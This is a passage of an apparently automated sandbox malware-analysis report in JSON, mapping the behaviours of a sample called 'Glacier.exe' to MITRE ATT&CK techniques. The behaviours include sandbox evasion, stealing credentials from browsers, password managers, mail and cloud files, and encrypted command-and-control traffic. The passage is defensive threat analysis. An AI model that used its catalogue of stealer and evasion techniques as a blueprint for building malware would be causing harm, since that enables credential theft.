string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"},{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using web history"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Found anti-virus related strings names"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to detect sandbox environment via user account"},{"type":"informative","value":"Able to identify virtual/sandbox environment"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify virtual environment using sandbox registry"},{"type":"informative","value":"Able to detect virtual machine (string)"},{"type":"informative","value":"Able to identify virtual/sandbox environment devices"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"The input sample contains the RDTSCP instruction"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Run Virtual Instance","attack_id":"T1564.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/006","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Junk Code Insertion","attack_id":"T1027.016","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/016","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Password Managers","attack_id":"T1555.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/005","identifiers":[{"type":"informative","value":"Able to access password managers"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"malicious","value":"Calls an API typically used to enumerate the credentials from the user's credential set"},{"type":"informative","value":"Found string related to Windows Vault/Credentials location"},{"type":"informative","value":"Contains ability to to enumerates the credentials (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"},{"type":"informative","value":"References Firefox browser credentials files"},{"type":"informative","value":"References Chromium browser credentials files"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"},{"type":"informative","value":"Strings related to file managers detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Steal Application Access Token","attack_id":"T1528","attack_id_wiki":"https://attack.mitre.org/techniques/T1528","identifiers":[{"type":"informative","value":"Contains AI service credential strings"},{"type":"informative","value":"Able to access AWS credential file"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","identifiers":[{"type":"malicious","value":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"malicious","value":"Attempts to stop multiple expected running processes on the machine"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Reads VM-specific registry key"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry key string for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"informative","value":"Observed security product related strings in binary/memory"},{"type":"informative","value":"Loads the debugger/analysis tool module"},{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Able to access Steam setting"},{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to create a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Contains reference to Outlook data files path"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found mail information locations related strings"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Asymmetric Encrypted Non-C2 Protocol","attack_id":"T1048.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/002","identifiers":[{"type":"informative","value":"Contains references to SFTP or FTPS file transfer"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"malicious","value":"Terminates other processes using tskill/taskkill"},{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to access Steam setting","description":"Found string \"Software\\Valve\\Steam\" (Indicator: \"software\\valve\\steam\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"Software\\Valve\\Steam\\Users\" (Indicator: \"software\\valve\\steam\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")\n Found string \"%s\\config\\loginusers.vdf\" (Indicator: \"config\\loginusers.vdf\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518","relevance":1,"id":"string-763","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"??0LZ4FrameDecompressionContext@Compression@mozilla@@QEAA@_N@Z\" (Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found string \"??1LZ4FrameDecompressionContext@Compression@mozilla@@QEAA@XZ\" (Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found string \"??_FLZ4FrameDecompressionContext@Compression@mozilla@@QEAAXXZ\" (Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found string \"?Decompress@LZ4FrameDecompressionContext@Compression@mozilla@@QEAA?AV?$Result@ULZ4FrameDecompressionResult@Compression@mozilla@@_K@3@V?$Span@D$0?0@3@V?$Span@$$CBD$0?0@3@@Z\" (Source: \"00000000-00001176.00000001.167729.6E527000.00000002.mdmp\")\n Found string \"Cannot communicate securely with peer: no common compression algorithm(s).\" (Source: \"00000000-00001176.00000001.167729.6E744000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"Glacier.exe\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6ac0055a73a72ea06c0f5d20"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00001176.00000000.167448.40000000.00000040.mdmp, 